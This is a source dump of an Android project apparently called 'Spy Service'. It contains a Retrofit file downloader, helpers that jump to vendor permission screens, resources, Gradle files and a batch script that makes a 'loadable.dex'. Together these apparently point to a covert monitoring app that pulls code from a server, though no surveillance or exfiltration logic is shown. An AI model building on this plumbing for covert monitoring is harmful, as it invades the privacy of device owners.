/app/src/main/java/ru/er_log/spyservice/network/DownloadManager.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.network;
12 |
13 | import android.util.Log;
14 |
15 | import org.jetbrains.annotations.NotNull;
16 | import org.jetbrains.annotations.Nullable;
17 |
18 | import java.io.File;
19 | import java.io.FileOutputStream;
20 | import java.io.InputStream;
21 | import java.io.OutputStream;
22 | import java.util.Objects;
23 |
24 | import okhttp3.MediaType;
25 | import okhttp3.ResponseBody;
26 | import retrofit2.Call;
27 | import retrofit2.Callback;
28 | import retrofit2.Response;
29 | import retrofit2.Retrofit;
30 | import retrofit2.http.GET;
31 | import retrofit2.http.Query;
32 | import retrofit2.http.Streaming;
33 | import ru.er_log.spyservice.Settings;
34 |
35 | public class DownloadManager
36 | {
37 | private IDownloadAPI downloadAPI;
38 |
39 | private interface IDownloadAPI
40 | {
41 | @Streaming
42 | @GET("download.php")
43 | Call download(@Query("file") String file, @Query("lastModifiedTime") long lastModifiedTime);
44 | }
45 |
46 | public DownloadManager()
47 | {
48 | Retrofit retrofit = new Retrofit.Builder()
49 | .baseUrl(Settings.API_URL)
50 | .build();
51 |
52 | downloadAPI = retrofit.create(IDownloadAPI.class);
53 | }
54 |
55 | /** Downloads file. If the {@param callback} is null, then used synchronized connection method. */
56 | public boolean download(@NotNull String getName, @NotNull String saveFile, @Nullable IDownloadCallback callback)
57 | {
58 | File toSave = new File(saveFile);
59 | toSave.getParentFile().mkdirs();
60 | if (toSave.isDirectory())
61 | throw new IllegalArgumentException("Parameter 'saveFile' is a directory");
62 |
63 | Callback callbackD = new Callback()
64 | {
65 | @Override
66 | public void onResponse(@NotNull Call call, @NotNull Response response)
67 | {
68 | assert callback != null;
69 | if (onCallResponse(response, toSave))
70 | callback.onComplete(toSave);
71 | else
72 | callback.onFailure();
73 | }
74 |
75 | @Override
76 | public void onFailure(@NotNull Call call, @NotNull Throwable t)
77 | {
78 | assert callback != null;
79 | if (onCallFailure(t))
80 | callback.onComplete(toSave);
81 | else
82 | callback.onFailure();
83 | }
84 | };
85 |
86 | long lastModified = 0;
87 | if (toSave.isFile())
88 | lastModified = toSave.lastModified();
89 | Call call = downloadAPI.download(getName, lastModified);
90 |
91 | if (callback != null) // Asynchronous process.
92 | {
93 | call.enqueue(callbackD);
94 | return true;
95 | } else // Synchronous process.
96 | {
97 | try
98 | {
99 | Response response = call.execute();
100 | return onCallResponse(response, toSave);
101 | } catch (Exception e)
102 | {
103 | return onCallFailure(e);
104 | }
105 | }
106 | }
107 |
108 | private boolean onCallResponse(@NotNull Response response, File toSave)
109 | {
110 | if (response.isSuccessful())
111 | {
112 | if (response.code() == 200 && response.body() != null && Objects.equals(response.body().contentType(), MediaType.get("application/force-download")))
113 | {
114 | Log.d(Settings.LOG_TAG, "Server contacted and has file");
115 | try
116 | {
117 | writeResponseBodyToDisk(response.body(), toSave);
118 | Log.d(Settings.LOG_TAG, "File downloaded and written to disk");
119 | return true;
120 | } catch (Exception e)
121 | {
122 | Log.e(Settings.LOG_TAG, "Can't write file to disk");
123 | e.printStackTrace();
124 | return false;
125 | } finally
126 | {
127 | if (response.body() != null)
128 | response.body().close();
129 | }
130 | } else if (response.code() == 204)
131 | {
132 | Log.d(Settings.LOG_TAG, "Server contacted but file exists and there's no need to update it");
133 | return true;
134 | } else
135 | {
136 | Log.w(Settings.LOG_TAG, "Server contacted, but got unexpected response: " + response.toString());
137 | return false;
138 | }
139 | } else
140 | {
141 | Log.e(Settings.LOG_TAG, "Server contacted, but returned an error code: " + response.toString());
142 | return false;
143 | }
144 | }
145 |
146 | private boolean onCallFailure(@NotNull Throwable t)
147 | {
148 | Log.e(Settings.LOG_TAG, "Server contact failed: " + t.getMessage());
149 | return false;
150 | }
151 |
152 | private static void writeResponseBodyToDisk(@NotNull ResponseBody body, @NotNull File file) throws Exception
153 | {
154 | InputStream inputStream = null;
155 | OutputStream outputStream = null;
156 |
157 | try
158 | {
159 | byte[] fileReader = new byte[4096];
160 |
161 | long fileSize = body.contentLength();
162 | long fileSizeDownloaded = 0;
163 |
164 | inputStream = body.byteStream();
165 | outputStream = new FileOutputStream(file);
166 |
167 | while (true)
168 | {
169 | int read;
170 | if ((read = inputStream.read(fileReader)) == -1)
171 | break;
172 |
173 | outputStream.write(fileReader, 0, read);
174 | fileSizeDownloaded += read;
175 |
176 | Log.d(Settings.LOG_TAG, "file download: " + fileSizeDownloaded + " of " + fileSize + " bytes");
177 | }
178 |
179 | outputStream.flush();
180 |
181 | if (fileSizeDownloaded != fileSize)
182 | throw new Exception("downloaded size != file size; end of stream reached");
183 | } finally
184 | {
185 | if (inputStream != null)
186 | inputStream.close();
187 |
188 | if (outputStream != null)
189 | outputStream.close();
190 | }
191 | }
192 | }
193 |
--------------------------------------------------------------------------------
/app/src/main/java/ru/er_log/spyservice/network/IDownloadCallback.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.network;
12 |
13 | import org.jetbrains.annotations.NotNull;
14 |
15 | import java.io.File;
16 |
17 | public interface IDownloadCallback
18 | {
19 | void onComplete(@NotNull File file);
20 | void onFailure();
21 | }
22 |
--------------------------------------------------------------------------------
/app/src/main/java/ru/er_log/spyservice/util/ChinesePermissionUtils.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice.util;
12 |
13 | import android.app.Activity;
14 | import android.content.ComponentName;
15 | import android.content.Intent;
16 | import android.net.Uri;
17 | import android.os.Build;
18 | import android.provider.Settings;
19 | import android.util.Log;
20 |
21 | import ru.er_log.spyservice.BuildConfig;
22 |
23 | /**
24 | * Created by karandeep on 09-May-17.
25 | */
26 |
27 | public class ChinesePermissionUtils
28 | {
29 | /**
30 | * Build.MANUFACTURER
31 | */
32 | private static final String MANUFACTURER_HUAWEI = "Huawei";
33 | private static final String MANUFACTURER_MEIZU = "Meizu";
34 | private static final String MANUFACTURER_XIAOMI = "Xiaomi";
35 | private static final String MANUFACTURER_SONY = "Sony";
36 | private static final String MANUFACTURER_OPPO = "OPPO";
37 | private static final String MANUFACTURER_LG = "LG";
38 | private static final String MANUFACTURER_VIVO = "vivo";
39 | private static final String MANUFACTURER_SAMSUNG = "samsung";
40 | private static final String MANUFACTURER_LETV = "Letv";
41 | private static final String MANUFACTURER_ZTE = "ZTE";
42 | private static final String MANUFACTURER_YULONG = "YuLong";
43 | private static final String MANUFACTURER_LENOVO = "LENOVO";
44 |
45 | /**
46 | * This function can define your own
47 | *
48 | * @param activity
49 | */
50 | public static void goToSetting(Activity activity)
51 | {
52 | switch (Build.MANUFACTURER)
53 | {
54 | case MANUFACTURER_HUAWEI:
55 | Huawei(activity);
56 | break;
57 | case MANUFACTURER_MEIZU:
58 | Meizu(activity);
59 | break;
60 | case MANUFACTURER_XIAOMI:
61 | Xiaomi(activity);
62 | break;
63 | case MANUFACTURER_SONY:
64 | Sony(activity);
65 | break;
66 | case MANUFACTURER_OPPO:
67 | OPPO(activity);
68 | break;
69 | case MANUFACTURER_LG:
70 | LG(activity);
71 | break;
72 | case MANUFACTURER_LETV:
73 | Letv(activity);
74 | break;
75 | default:
76 | ApplicationInfo(activity);
77 | Log.e(ru.er_log.spyservice.Settings.LOG_TAG, "goToSetting: the current system does not support this");
78 | break;
79 | }
80 | }
81 |
82 | private static void Huawei(Activity activity)
83 | {
84 | Intent intent = new Intent();
85 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
86 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID);
87 | ComponentName comp = new ComponentName("com.huawei.systemmanager", "com.huawei.permissionmanager.ui.MainActivity");
88 | intent.setComponent(comp);
89 | activity.startActivity(intent);
90 | }
91 |
92 | private static void Meizu(Activity activity)
93 | {
94 | Intent intent = new Intent("com.meizu.safe.security.SHOW_APPSEC");
95 | intent.addCategory(Intent.CATEGORY_DEFAULT);
96 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID);
97 | activity.startActivity(intent);
98 | }
99 |
100 | private static void Xiaomi(Activity activity)
101 | {
102 | try
103 | {
104 | // MIUI 8
105 | Intent intent = new Intent("miui.intent.action.APP_PERM_EDITOR");
106 | intent.setClassName("com.miui.securitycenter", "com.miui.permcenter.permissions.PermissionsEditorActivity");
107 | intent.putExtra("extra_pkgname", BuildConfig.APPLICATION_ID);
108 | activity.startActivity(intent);
109 | } catch (Exception e)
110 | {
111 | try
112 | {
113 | // MIUI 5/6/7
114 | Intent intent = new Intent("miui.intent.action.APP_PERM_EDITOR");
115 | intent.setClassName("com.miui.securitycenter", "com.miui.permcenter.permissions.AppPermissionsEditorActivity");
116 | intent.putExtra("extra_pkgname", BuildConfig.APPLICATION_ID);
117 | activity.startActivity(intent);
118 | } catch (Exception e1)
119 | {
120 | // Otherwise jump to application details
121 | Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
122 | Uri uri = Uri.fromParts("package", BuildConfig.APPLICATION_ID, null);
123 | intent.setData(uri);
124 | activity.startActivity(intent);
125 | }
126 | }
127 | }
128 |
129 | private static void Sony(Activity activity)
130 | {
131 | Intent intent = new Intent();
132 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
133 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID);
134 | ComponentName comp = new ComponentName("com.sonymobile.cta", "com.sonymobile.cta.SomcCTAMainActivity");
135 | intent.setComponent(comp);
136 | activity.startActivity(intent);
137 | }
138 |
139 | private static void OPPO(Activity activity)
140 | {
141 | Intent intent = new Intent();
142 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
143 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID);
144 | ComponentName comp = new ComponentName("com.color.safecenter", "com.color.safecenter.permission.PermissionManagerActivity");
145 | intent.setComponent(comp);
146 | activity.startActivity(intent);
147 | }
148 |
149 | private static void LG(Activity activity)
150 | {
151 | Intent intent = new Intent("android.intent.action.MAIN");
152 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
153 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID);
154 | ComponentName comp = new ComponentName("com.android.settings", "com.android.settings.Settings$AccessLockSummaryActivity");
155 | intent.setComponent(comp);
156 | activity.startActivity(intent);
157 | }
158 |
159 | private static void Letv(Activity activity)
160 | {
161 | Intent intent = new Intent();
162 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
163 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID);
164 | ComponentName comp = new ComponentName("com.letv.android.letvsafe", "com.letv.android.letvsafe.PermissionAndApps");
165 | intent.setComponent(comp);
166 | activity.startActivity(intent);
167 | }
168 |
169 | /**
170 | * Open only to bring their own security software
171 | *
172 | * @param activity
173 | */
174 | private static void _360(Activity activity)
175 | {
176 | Intent intent = new Intent("android.intent.action.MAIN");
177 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
178 | intent.putExtra("packageName", BuildConfig.APPLICATION_ID);
179 | ComponentName comp = new ComponentName("com.qihoo360.mobilesafe", "com.qihoo360.mobilesafe.ui.index.AppEnterActivity");
180 | intent.setComponent(comp);
181 | activity.startActivity(intent);
182 | }
183 |
184 | /**
185 | * Application information interface
186 | *
187 | * @param activity
188 | */
189 | private static void ApplicationInfo(Activity activity)
190 | {
191 | Intent localIntent = new Intent();
192 | localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
193 | if (Build.VERSION.SDK_INT >= 9)
194 | {
195 | localIntent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
196 | localIntent.setData(Uri.fromParts("package", activity.getPackageName(), null));
197 | } else if (Build.VERSION.SDK_INT <= 8)
198 | {
199 | localIntent.setAction(Intent.ACTION_VIEW);
200 | localIntent.setClassName("com.android.settings", "com.android.settings.InstalledAppDetails");
201 | localIntent.putExtra("com.android.settings.ApplicationPkgName", activity.getPackageName());
202 | }
203 | activity.startActivity(localIntent);
204 | }
205 |
206 | /**
207 | * System Settings interface
208 | *
209 | * @param activity
210 | */
211 | private static void SystemConfig(Activity activity)
212 | {
213 | Intent intent = new Intent(Settings.ACTION_SETTINGS);
214 | activity.startActivity(intent);
215 | }
216 | }
--------------------------------------------------------------------------------
/app/src/main/res/drawable-v24/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
10 |
11 |
17 |
18 |
19 |
25 | -
14 |
15 |
16 |
17 |
18 |
19 |
20 | -
21 |
22 |
23 |
24 |
25 |
26 |
27 | -
28 |
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/button_dark.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 | -
14 |
15 |
16 |
17 |
18 |
19 |
20 | -
21 |
22 |
23 |
24 |
25 |
26 |
27 | -
28 |
29 |
30 |
31 |
32 |
33 |
34 | -
35 |
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/button_light.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 | -
14 |
15 |
16 |
17 |
18 |
19 |
20 | -
21 |
22 |
23 |
24 |
25 |
26 | -
27 |
28 |
29 |
30 |
31 |
32 | -
33 |
34 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/button_red.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 | -
14 |
15 |
16 |
17 |
18 |
19 |
20 | -
21 |
22 |
23 |
24 |
25 |
26 |
27 | -
28 |
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
17 |
20 |
25 |
30 |
35 |
40 |
45 |
50 |
55 |
60 |
65 |
70 |
75 |
80 |
85 |
90 |
95 |
100 |
105 |
110 |
115 |
120 |
125 |
130 |
135 |
140 |
145 |
150 |
155 |
160 |
165 |
170 |
175 |
180 |
181 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/main_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 | -
14 |
15 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_main.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
12 |
13 |
28 |
29 |
42 |
43 |
52 |
53 |
63 |
64 |
73 |
74 |
83 |
84 |
95 |
96 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-hdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-hdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-mdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-mdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-xhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.png
--------------------------------------------------------------------------------
/app/src/main/res/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 | #404244
14 | #343a40
15 | #ffc107
16 | #DFFFFFFF
17 | #343a40
18 |
19 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 | Spy Service
13 | Start service
14 | Stop service
15 | Service status: unknown
16 |
17 |
--------------------------------------------------------------------------------
/app/src/main/res/values/styles.xml:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 |
13 |
14 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/app/src/main/res/xml/backup_descriptor.xml:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/app/src/test/java/ru/er_log/spyservice/ExampleUnitTest.java:
--------------------------------------------------------------------------------
1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. +
3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file +
4 | + except in compliance with the License. You may obtain a copy of the License at +
5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in +
6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +
7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +
8 | + specific language governing permissions and limitations under the License. +
9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
10 |
11 | package ru.er_log.spyservice;
12 |
13 | import org.junit.Test;
14 |
15 | import static org.junit.Assert.*;
16 |
17 | /**
18 | * Example local unit test, which will execute on the development machine (host).
19 | *
20 | * @see Testing documentation
21 | */
22 | public class ExampleUnitTest
23 | {
24 | @Test
25 | public void addition_isCorrect()
26 | {
27 | assertEquals(4, 2 + 2);
28 | }
29 | }
--------------------------------------------------------------------------------
/build.gradle:
--------------------------------------------------------------------------------
1 | ext {
2 | }/*
3 | * Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved.
4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
5 | * except in compliance with the License. You may obtain a copy of the License at
6 | * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in
7 | * writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
8 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
9 | * specific language governing permissions and limitations under the License.
10 | */
11 |
12 | // Top-level build file where you can add configuration options common to all sub-projects/modules.
13 |
14 | buildscript {
15 |
16 | repositories {
17 | google()
18 | jcenter()
19 |
20 | }
21 | dependencies {
22 | classpath 'com.android.tools.build:gradle:3.6.3'
23 |
24 |
25 | // NOTE: Do not place your application dependencies here; they belong
26 | // in the individual module build.gradle files
27 | }
28 | }
29 |
30 | allprojects {
31 | repositories {
32 | google()
33 | jcenter()
34 |
35 | }
36 | }
37 |
38 | task clean(type: Delete) {
39 | delete rootProject.buildDir
40 | }
41 |
--------------------------------------------------------------------------------
/from_jar_to_dex.bat:
--------------------------------------------------------------------------------
1 | "D:\ProgramData\Android\Sdk\build-tools\29.0.3\dx" --dex --output loadable.dex classes.jar
2 | @PAUSE
--------------------------------------------------------------------------------
/gradle.properties:
--------------------------------------------------------------------------------
1 | #
2 | # Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved.
3 | # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
4 | # except in compliance with the License. You may obtain a copy of the License at
5 | # http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in
6 | # writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
7 | # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
8 | # specific language governing permissions and limitations under the License.
9 | #
10 |
11 | # Project-wide Gradle settings.
12 | # IDE (e.g. Android Studio) users:
13 | # Gradle settings configured through the IDE *will override*
14 | # any settings specified in this file.
15 | # For more details on how to configure your build environment visit
16 | # http://www.gradle.org/docs/current/userguide/build_environment.html
17 | # Specifies the JVM arguments used for the daemon process.
18 | # The setting is particularly useful for tweaking memory settings.
19 | org.gradle.jvmargs=-Xmx1536m
20 | # When configured, Gradle will run in incubating parallel mode.
21 | # This option should only be used with decoupled projects. More details, visit
22 | # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
23 | # org.gradle.parallel=true
24 | # AndroidX package structure to make it clearer which packages are bundled with the
25 | # Android operating system, and which are packaged with your app's APK
26 | # https://developer.android.com/topic/libraries/support-library/androidx-rn
27 | android.useAndroidX=true
28 | # Automatically convert third-party libraries to use AndroidX
29 | android.enableJetifier=true
30 |
31 |
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/gradle/wrapper/gradle-wrapper.jar
--------------------------------------------------------------------------------
/gradle/wrapper/gradle-wrapper.properties:
--------------------------------------------------------------------------------
1 | #
2 | # Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved.
3 | # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
4 | # except in compliance with the License. You may obtain a copy of the License at
5 | # http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in
6 | # writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
7 | # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
8 | # specific language governing permissions and limitations under the License.
9 | #
10 |
11 | #Fri May 01 21:43:09 MSK 2020
12 | distributionBase=GRADLE_USER_HOME
13 | distributionPath=wrapper/dists
14 | zipStoreBase=GRADLE_USER_HOME
15 | zipStorePath=wrapper/dists
16 | distributionUrl=https\://services.gradle.org/distributions/gradle-5.6.4-all.zip
17 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env sh
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Attempt to set APP_HOME
10 | # Resolve links: $0 may be a link
11 | PRG="$0"
12 | # Need this for relative symlinks.
13 | while [ -h "$PRG" ] ; do
14 | ls=`ls -ld "$PRG"`
15 | link=`expr "$ls" : '.*-> \(.*\)$'`
16 | if expr "$link" : '/.*' > /dev/null; then
17 | PRG="$link"
18 | else
19 | PRG=`dirname "$PRG"`"/$link"
20 | fi
21 | done
22 | SAVED="`pwd`"
23 | cd "`dirname \"$PRG\"`/" >/dev/null
24 | APP_HOME="`pwd -P`"
25 | cd "$SAVED" >/dev/null
26 |
27 | APP_NAME="Gradle"
28 | APP_BASE_NAME=`basename "$0"`
29 |
30 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
31 | DEFAULT_JVM_OPTS=""
32 |
33 | # Use the maximum available, or set MAX_FD != -1 to use that value.
34 | MAX_FD="maximum"
35 |
36 | warn () {
37 | echo "$*"
38 | }
39 |
40 | die () {
41 | echo
42 | echo "$*"
43 | echo
44 | exit 1
45 | }
46 |
47 | # OS specific support (must be 'true' or 'false').
48 | cygwin=false
49 | msys=false
50 | darwin=false
51 | nonstop=false
52 | case "`uname`" in
53 | CYGWIN* )
54 | cygwin=true
55 | ;;
56 | Darwin* )
57 | darwin=true
58 | ;;
59 | MINGW* )
60 | msys=true
61 | ;;
62 | NONSTOP* )
63 | nonstop=true
64 | ;;
65 | esac
66 |
67 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
68 |
69 | # Determine the Java command to use to start the JVM.
70 | if [ -n "$JAVA_HOME" ] ; then
71 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
72 | # IBM's JDK on AIX uses strange locations for the executables
73 | JAVACMD="$JAVA_HOME/jre/sh/java"
74 | else
75 | JAVACMD="$JAVA_HOME/bin/java"
76 | fi
77 | if [ ! -x "$JAVACMD" ] ; then
78 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
79 |
80 | Please set the JAVA_HOME variable in your environment to match the
81 | location of your Java installation."
82 | fi
83 | else
84 | JAVACMD="java"
85 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
86 |
87 | Please set the JAVA_HOME variable in your environment to match the
88 | location of your Java installation."
89 | fi
90 |
91 | # Increase the maximum file descriptors if we can.
92 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
93 | MAX_FD_LIMIT=`ulimit -H -n`
94 | if [ $? -eq 0 ] ; then
95 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
96 | MAX_FD="$MAX_FD_LIMIT"
97 | fi
98 | ulimit -n $MAX_FD
99 | if [ $? -ne 0 ] ; then
100 | warn "Could not set maximum file descriptor limit: $MAX_FD"
101 | fi
102 | else
103 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
104 | fi
105 | fi
106 |
107 | # For Darwin, add options to specify how the application appears in the dock
108 | if $darwin; then
109 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
110 | fi
111 |
112 | # For Cygwin, switch paths to Windows format before running java
113 | if $cygwin ; then
114 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
115 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
116 | JAVACMD=`cygpath --unix "$JAVACMD"`
117 |
118 | # We build the pattern for arguments to be converted via cygpath
119 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
120 | SEP=""
